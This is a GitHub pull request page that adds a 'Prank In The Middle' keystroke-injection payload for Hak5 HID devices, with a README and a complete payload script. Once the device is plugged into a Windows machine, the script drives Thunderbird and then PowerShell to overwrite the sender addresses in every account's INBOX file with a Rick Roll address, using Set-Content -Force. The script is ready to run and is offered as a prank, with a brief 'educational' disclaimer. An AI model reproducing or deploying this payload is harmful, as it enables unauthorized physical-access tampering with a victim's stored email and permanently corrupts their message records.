Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prank In The Middle - Thunderbird #686

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
95 changes: 95 additions & 0 deletions payloads/library/prank/Prank_In_The_Middle_Thunderbird/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,95 @@
# Prank In The Middle - Thunderbird

The name of the payload `Prank In The Middle` is named after the pun Prank + Man In The Middle in that this operation, in some ways, can remotely be configured as a MITM attack but since it was created specifically for playful purposes then here is the reason for the union with the word Prank.

**Category**: Prank

**Plug-And-Play** ^^

## Index

- [Description](#description)
- [Requirements](#requirements)
- [How the Program Works](#how-the-program-works)
- [Code Details](#code-details)
- [System Detection && Short Start DELAY](#system-detection--short-start-delay)
- [Navigating in Thunderbird](#navigating-in-thunderbird)
- [Opening PowerShell and Email Manipulation](#opening-powershell-and-email-manipulation)
- [The Regex](#the-regex)
- [Notes](#notes)
- [Credits](#credits)

## Description

This program automates a series of actions on a Windows system (*tested on Windows 10 but should works in Windows 11*) to manipulate the contents of emails found in a Thunderbird profile. Specifically, it identifies emails in the `INBOX` file of each configured email account and replaces the sender's email addresses with a fictitious address `[email protected]/prinkrollme` where `prinkrollme` is the union of the words `Prank`, `Rick Roll` and `Me` (*this one was necessary becouse prinkwoll era già stato preso* **:c** *so sad...* ) all compressed into the link `tinyurl.com/prinkrollme` ([*3° note*](#notes)) that redirect to the YouTube video `https://www.youtube.com/watch?v=xMHJGd3wwZk`.

![](https://i.ibb.co/VJjfbkJ/1.png)

## Requirements

- A Windows system with Thunderbird installed.
- Access to PowerShell.
- Permissions to run code in Powershell

## Test Environment

- Thunderbird 115.11.1 (64 bit)
- Windows 10 Pro

## How the Program Works

1. **System Detection:** The program detects if the system reflects the CAPSLOCK state and sets a dynamic delay based on this.
2. **Opening Thunderbird:** Uses a series of commands to open Thunderbird and navigate to the profile folder settings.
3. **Copying the Profile Folder Path:** Copies the profile folder path to the clipboard.
4. **Opening PowerShell:** Opens a PowerShell window and navigates to the `ImapMail` folder of the Thunderbird profile.
5. **Email Manipulation:** Uses PowerShell to:
- Find all `INBOX` folders within `ImapMail`.
- Read the contents of the emails in `INBOX`.
- Replace the sender addresses with `Rick Roll <[email protected]/prinkrollme>`.
- Save the modified content back to the original email files.

## Code Details

For reasons of space, the code is not given in the documentation. However, comments can be found that broadly explain the piece of code that is executed following the comment itself.

### The Regex

The regex was not created from scratch but was taken from the discussion “[How can I validate an email address using a regular expression?](https://stackoverflow.com/questions/201323/how-can-i-validate-an-email-address-using-a-regular-expression)” posted on **StackOverflow**.

```plaintext
(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])
```

The only difference is the addition of `**From: <...>**` which reduces to just the email addresses that sent the emails and not all addresses detected in the file that might depict other references

```plaintext
From:\s.*\s<...>
```

## Notes

1) This program was created for educational and demonstrative purposes. Unauthorized alteration of emails is illegal, and violating others' privacy is a crime.
2) Ensure you have the necessary permissions before running any script that modifies personal or sensitive data.
3) Considering [Staged Payloads](https://github.com/hak5/usbrubberducky-payloads?tab=readme-ov-file#staged-payloads), generally, it is not possible to include code that downloads from external sources. In this case, however, the setup involves a redirect to a YouTube video, which has been conveniently shortened using `tiny.url`. It is important to note that this redirect can be modified, and I strongly recommend changing it to a personal link for your security. While I assure you that I will never alter the link, no one can guarantee that I won't be compromised, allowing someone else to alter the redirect. It is always advisable and a good practice to never use links found online without understanding the actual redirect and replacing it with your own link.

## Credits

<h2 align="center"><a href="https://aleff-gitlab.gitlab.io/">Aleff</a></h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>
132 changes: 132 additions & 0 deletions payloads/library/prank/Prank_In_The_Middle_Thunderbird/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,132 @@
###################################################
# #
# Title : Prank In The Middle - Thunderbird #
# Author : Aleff #
# Version : 1.0 #
# Category : Prank #
# Target : Windows 10/11 #
# #
###################################################

ATTACKMODE HID

# Open Thunderbird and goto settings
QUACK DELAY 1500
QUACK GUI r
QUACK STRING thunderbird
QUACK ENTER
QUACK DELAY 1000
QUACK REPEAT 4 TAB
QUACK ENTER
QUACK DELAY 500
QUACK UPARROW
QUACK UPARROW
QUACK ENTER
QUACK DELAY 500
QUACK UPARROW
QUACK UPARROW
QUACK UPARROW
QUACK ENTER
QUACK DELAY 500

# Goto profile directory
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK ENTER
QUACK DELAY 500

# Copy the directory path
QUACK TAB
QUACK TAB
QUACK TAB
QUACK TAB
QUACK DELAY 500
QUACK SPACE
QUACK DELAY 500
QUACK ENTER
QUACK DELAY 500
QUACK CTRL c
QUACK DELAY 500
QUACK ALT F4
QUACK DELAY 500

# Open the powershell and goto the directory
QUACK GUI r
QUACK STRING powershell
QUACK ENTER
QUACK DELAY 1500
QUACK STRING cd
QUACK DELAY 500
QUACK CTRL v
QUACK DELAY 500
QUACK ENTER
QUACK DELAY 500

# Get the INBOX content and edit it overwriting. Then close the powershell
QUACK STRING cd ImapMail
QUACK ENTER
QUACK DELAY 500
QUACK STRING \$directories = Get-ChildItem -Directory | Select-Object FullName
QUACK ENTER
QUACK DELAY 500
QUACK STRING foreach (\$dir in \$directories) {
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Replace backslashes with slash
QUACK ENTER
QUACK DELAY 500
QUACK STRING \$newPath = \$dir.FullName -replace '\\', '/'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Add the sub-string '/INBOX' to the end
QUACK ENTER
QUACK DELAY 500
QUACK STRING \$newPath += '/INBOX'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Check whether the INBOX file exists
QUACK ENTER
QUACK DELAY 500
QUACK STRING if (Test-Path \$newPath) {
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Check whether the INBOX file exists
QUACK ENTER
QUACK DELAY 500
QUACK STRING \$emails = Get-Content -Path \$newPath -Raw
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Replace email sender with Rick Roll!
QUACK ENTER
QUACK DELAY 500
QUACK STRING # The following operation is simplified and assumes that the sender starts with 'From: ...'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # and does not contain complex MIME structures
QUACK ENTER
QUACK DELAY 500
QUACK STRING \$modifiedEmails = \$emails -replace 'From:\s.*\s<(?:[a-z0-9!#\$%&*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&*+/=?^_`{|}~-]+)*|`\"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>', 'From: Rick Roll <[email protected]/prinkrollme>'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Write the modified content into the INBOX file.
QUACK ENTER
QUACK DELAY 500
QUACK STRING Set-Content -Path \$newPath -Value \$modifiedEmails -Force
QUACK ENTER
QUACK DELAY 500
QUACK STRING }
QUACK ENTER
QUACK DELAY 500
QUACK STRING }
QUACK ENTER
QUACK DELAY 1000
QUACK ALT F4